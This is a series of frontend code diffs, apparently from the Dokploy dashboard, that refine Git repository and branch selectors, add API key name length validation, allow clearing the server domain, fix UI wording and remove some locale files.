</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -283,7 +288,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={repo.name} value={`${repo.owner.username}/${repo.name}`}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -294,8 +299,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex items-center gap-2"> <span className="flex min-w-0 items-center gap-2">
<span>{repo.name}</span> <span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -303,7 +308,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -350,7 +356,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -378,7 +387,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
{branch.name} <span className="truncate">{branch.name}</span>
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -270,14 +270,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo: GiteaRepository) => (repo: GiteaRepository) =>
repo.name === field.value.repo, repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -303,7 +307,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
{repositories?.map((repo: GiteaRepository) => { {repositories?.map((repo: GiteaRepository) => {
return ( return (
<CommandItem <CommandItem
value={repo.name} value={`${repo.owner.username}/${repo.name}`}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -313,8 +317,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex items-center gap-2"> <span className="flex min-w-0 items-center gap-2">
<span>{repo.name}</span> <span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -322,7 +328,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo repo.name === field.value.repo &&
repo.owner.username ===
field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -371,7 +379,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -402,7 +413,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
{branch.name} <span className="truncate">{branch.name}</span>
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -252,14 +252,19 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => repo.name === field.value.repo, (repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)} )?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -279,7 +284,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={repo.name} value={`${repo.owner.login}/${repo.name}`}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -289,8 +294,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex items-center gap-2"> <span className="flex min-w-0 items-center gap-2">
<span>{repo.name}</span> <span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.login} {repo.owner.login}
</span> </span>
@@ -298,7 +303,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo repo.name === field.value.repo &&
repo.owner.login === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -345,7 +351,10 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -373,7 +382,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
{branch.name} <span className="truncate">{branch.name}</span>
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -272,7 +272,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -310,8 +313,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex items-center gap-2"> <span className="flex min-w-0 items-center gap-2">
<span>{repo.name}</span> <span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -368,7 +373,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -396,7 +404,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
{branch.name} <span className="truncate">{branch.name}</span>
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -258,14 +258,19 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => repo.name === field.value.repo, (repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -285,7 +290,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={repo.name} value={`${repo.owner.username}/${repo.name}`}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -296,8 +301,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex items-center gap-2"> <span className="flex min-w-0 items-center gap-2">
<span>{repo.name}</span> <span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -305,7 +310,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -352,7 +358,10 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -380,7 +389,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
{branch.name} <span className="truncate">{branch.name}</span>
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -255,13 +255,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => repo.name === field.value.repo, (repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -282,7 +287,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
key={repo.url} key={repo.url}
value={repo.name} value={`${repo.owner.username}/${repo.name}`}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
owner: repo.owner.username, owner: repo.owner.username,
@@ -291,8 +296,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex items-center gap-2"> <span className="flex min-w-0 items-center gap-2">
<span>{repo.name}</span> <span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -300,7 +305,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -348,7 +354,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branches..." placeholder="Search branches..."
@@ -365,8 +374,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name) form.setValue("branch", branch.name)
} }
> >
<span className="flex items-center gap-2"> <span className="flex min-w-0 items-center gap-2">
{branch.name} <span className="truncate">
{branch.name}
</span>
</span> </span>
<CheckIcon <CheckIcon
className={cn( className={cn(

View File

@@ -245,14 +245,19 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => repo.name === field.value.repo, (repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)} )?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -272,7 +277,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={repo.name} value={`${repo.owner.login}/${repo.name}`}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -282,8 +287,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex items-center gap-2"> <span className="flex min-w-0 items-center gap-2">
<span>{repo.name}</span> <span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.login} {repo.owner.login}
</span> </span>
@@ -291,7 +296,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo repo.name === field.value.repo &&
repo.owner.login === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -338,7 +344,10 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -366,7 +375,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
{branch.name} <span className="truncate">{branch.name}</span>
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -274,7 +274,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -312,8 +315,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex items-center gap-2"> <span className="flex min-w-0 items-center gap-2">
<span>{repo.name}</span> <span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -370,7 +375,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent className="p-0" align="start"> <PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -398,7 +406,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
{branch.name} <span className="truncate">{branch.name}</span>
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -32,10 +32,11 @@ import {
SelectValue, SelectValue,
} from "@/components/ui/select"; } from "@/components/ui/select";
import { Switch } from "@/components/ui/switch"; import { Switch } from "@/components/ui/switch";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
import { api } from "@/utils/api"; import { api } from "@/utils/api";
const formSchema = z.object({ const formSchema = z.object({
name: z.string().min(1, "Name is required"), name: apiKeyNameSchema,
prefix: z.string().optional(), prefix: z.string().optional(),
expiresIn: z.number().nullable(), expiresIn: z.number().nullable(),
organizationId: z.string().min(1, "Organization is required"), organizationId: z.string().min(1, "Organization is required"),
@@ -159,8 +160,15 @@ export const AddApiKey = () => {
<FormItem> <FormItem>
<FormLabel>Name</FormLabel> <FormLabel>Name</FormLabel>
<FormControl> <FormControl>
<Input placeholder="My API Key" {...field} /> <Input
placeholder="My API Key"
maxLength={API_KEY_NAME_MAX_LENGTH}
{...field}
/>
</FormControl> </FormControl>
<FormDescription>
Maximum {API_KEY_NAME_MAX_LENGTH} characters
</FormDescription>
<FormMessage /> <FormMessage />
</FormItem> </FormItem>
)} )}

View File

@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
</DialogTrigger> </DialogTrigger>
<DialogContent className="sm:max-w-2xl"> <DialogContent className="sm:max-w-2xl">
<DialogHeader> <DialogHeader>
<DialogTitle>Add a external registry</DialogTitle> <DialogTitle>Add an external registry</DialogTitle>
<DialogDescription> <DialogDescription>
Fill the next fields to add a external registry. Fill in the following fields to add an external registry.
</DialogDescription> </DialogDescription>
</DialogHeader> </DialogHeader>
{(isError || testRegistryIsError || testRegistryByIdIsError) && ( {(isError || testRegistryIsError || testRegistryByIdIsError) && (

View File

@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className=""> <div className="">
<FormLabel>App Deploy</FormLabel> <FormLabel>App Deploy</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when a app is deployed. Trigger the action when an app is deployed.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Dokploy Backup</FormLabel> <FormLabel>Dokploy Backup</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when a dokploy backup is created. Trigger the action when a Dokploy backup is created.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>
@@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel> <FormLabel>Docker Cleanup</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when the docker cleanup is Trigger the action when Docker cleanup is performed.
performed.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>
@@ -1955,7 +1954,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Dokploy Restart</FormLabel> <FormLabel>Dokploy Restart</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when dokploy is restarted. Trigger the action when Dokploy is restarted.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>

View File

@@ -43,7 +43,8 @@ const addServerDomain = z
.string() .string()
.trim() .trim()
.toLowerCase() .toLowerCase()
.refine((val) => VALID_HOSTNAME_REGEX.test(val), { // empty clears the server domain and reverts to IP-only access
.refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), {
message: INVALID_HOSTNAME_MESSAGE, message: INVALID_HOSTNAME_MESSAGE,
}), }),
letsEncryptEmail: z.string(), letsEncryptEmail: z.string(),
@@ -51,7 +52,7 @@ const addServerDomain = z
certificateType: z.enum(["letsencrypt", "none", "custom"]), certificateType: z.enum(["letsencrypt", "none", "custom"]),
}) })
.superRefine((data, ctx) => { .superRefine((data, ctx) => {
if (data.https && !data.certificateType) { if (data.domain && data.https && !data.certificateType) {
ctx.addIssue({ ctx.addIssue({
code: z.ZodIssueCode.custom, code: z.ZodIssueCode.custom,
path: ["certificateType"], path: ["certificateType"],
@@ -59,6 +60,7 @@ const addServerDomain = z
}); });
} }
if ( if (
data.domain &&
data.https && data.https &&
data.certificateType === "letsencrypt" && data.certificateType === "letsencrypt" &&
!data.letsEncryptEmail !data.letsEncryptEmail

View File

@@ -151,13 +151,15 @@ function CommandItem({
<CommandPrimitive.Item <CommandPrimitive.Item
data-slot="command-item" data-slot="command-item"
className={cn( className={cn(
"group/command-item relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground", "group/command-item relative flex cursor-default items-center gap-2 rounded-md px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
className, className,
)} )}
{...props} {...props}
> >
{children} {children}
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" /> {"data-checked" in props && (
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
)}
</CommandPrimitive.Item> </CommandPrimitive.Item>
); );
} }

View File

@@ -80,7 +80,7 @@ function SelectContent({
<SelectPrimitive.Viewport <SelectPrimitive.Viewport
data-position={position} data-position={position}
className={cn( className={cn(
"data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)", "p-1 data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
position === "popper" && "", position === "popper" && "",
)} )}
> >
@@ -114,7 +114,7 @@ function SelectItem({
<SelectPrimitive.Item <SelectPrimitive.Item
data-slot="select-item" data-slot="select-item"
className={cn( className={cn(
"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1 pr-8 pl-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2", "relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1.5 pr-8 pl-2 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
className, className,
)} )}
{...props} {...props}

View File

@@ -0,0 +1,23 @@
import { z } from "zod";
/**
* Maximum length allowed for an API key name.
*
* This mirrors the default `maximumNameLength` enforced by the
* `@better-auth/api-key` plugin. Names longer than this are rejected by
* better-auth with a 400, so we validate against it up front to surface a
* clear field-level error instead of an opaque 500.
*/
export const API_KEY_NAME_MAX_LENGTH = 32;
/**
* Shared validation for an API key name, used by both the tRPC input schema
* and the client form so the two can't drift.
*/
export const apiKeyNameSchema = z
.string()
.min(1, "Name is required")
.max(
API_KEY_NAME_MAX_LENGTH,
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Yadda saxla",
"settings.common.enterTerminal": "Terminala daxil ol",
"settings.server.domain.title": "Server Domeni",
"settings.server.domain.description": "Server tətbiqinizə domen əlavə edin.",
"settings.server.domain.form.domain": "Domen",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-poçtu",
"settings.server.domain.form.certificate.label": "Sertifikat Təminatçısı",
"settings.server.domain.form.certificate.placeholder": "Sertifikat seçin",
"settings.server.domain.form.certificateOptions.none": "Heç biri",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Veb Server",
"settings.server.webServer.description": "Veb serveri yenidən yüklə və ya təmizlə.",
"settings.server.webServer.actions": "Əməliyyatlar",
"settings.server.webServer.reload": "Yenidən yüklə",
"settings.server.webServer.watchLogs": "Logları izlə",
"settings.server.webServer.updateServerIp": "Server IP-ni Yenilə",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Mühiti Dəyişdir",
"settings.server.webServer.traefik.managePorts": "Əlavə Port Təyinatları",
"settings.server.webServer.traefik.managePortsDescription": "Traefik üçün əlavə portlar əlavə edin və ya silin",
"settings.server.webServer.traefik.targetPort": "Hədəf Port",
"settings.server.webServer.traefik.publishedPort": "Dərc Edilmiş Port",
"settings.server.webServer.traefik.addPort": "Port Əlavə Et",
"settings.server.webServer.traefik.portsUpdated": "Portlar uğurla yeniləndi",
"settings.server.webServer.traefik.portsUpdateError": "Portların yenilənməsi uğursuz oldu",
"settings.server.webServer.traefik.publishMode": "Dərc Rejimi",
"settings.server.webServer.storage.label": "Yer",
"settings.server.webServer.storage.cleanUnusedImages": "İstifadə edilməyən şəkilləri təmizlə",
"settings.server.webServer.storage.cleanUnusedVolumes": "İstifadə edilməyən həcmləri təmizlə",
"settings.server.webServer.storage.cleanStoppedContainers": "Dayandırılmış konteynerləri təmizlə",
"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder və Sistemi təmizlə",
"settings.server.webServer.storage.cleanMonitoring": "Monitorinqi təmizlə",
"settings.server.webServer.storage.cleanAll": "Hamısını təmizlə",
"settings.profile.title": "Hesab",
"settings.profile.description": "Profilinizin məlumatlarını buradan dəyişin.",
"settings.profile.email": "E-poçt",
"settings.profile.password": "Şifrə",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Görünüş",
"settings.appearance.description": "İdarəetmə panelinizin görünüşünü fərdiləşdirin.",
"settings.appearance.theme": "Mövzu",
"settings.appearance.themeDescription": "İdarəetmə paneliniz üçün mövzu seçin",
"settings.appearance.themes.light": "İşıqlı",
"settings.appearance.themes.dark": "Qaranlıq",
"settings.appearance.themes.system": "Sistem",
"settings.appearance.language": "Dil",
"settings.appearance.languageDescription": "İdarəetmə paneliniz üçün dil seçin",
"settings.terminal.connectionSettings": "Bağlantı parametrləri",
"settings.terminal.ipAddress": "IP Ünvanı",
"settings.terminal.port": "Port",
"settings.terminal.username": "İstifadəçi adı"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "Speichern",
"settings.server.domain.title": "Server-Domain",
